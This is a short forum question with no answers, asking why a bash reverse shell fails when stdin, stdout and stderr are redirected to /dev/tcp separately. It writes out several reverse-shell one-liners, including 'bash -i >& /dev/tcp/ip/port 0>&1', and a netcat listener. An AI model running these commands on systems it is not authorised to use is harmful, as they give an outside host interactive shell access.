Why reverse shell in this redirect way without '&' can't work?

Viewed 81

I want to reverse shell, thus I run this command on host A:

nc -lvv port

and

bash -i >& /dev/tcp/ip/port 0>&1

on host B.

It succeed. But I tried another command:

bash -i 1> /dev/tcp/ip/port 2> /dev/tcp/ip/port 0< /dev/tcp/ip/port

It seems that the outputs are redirected to host A, but the input from host A can't transfer to host B.

In addition, I tried to just redirect the inputs and it worked:

bash -i 0< /dev/tcp/ip/port

I can enter commands on host A and see outputs on host B.

And I also tried to just redirect the outputs and it worked:

bash -i 1> /dev/tcp/ip/port 2> /dev/tcp/ip/port

I can enter commands on host B and see outputs on host A.

Why doesn't it work when they are executed together?

0 Answers
Related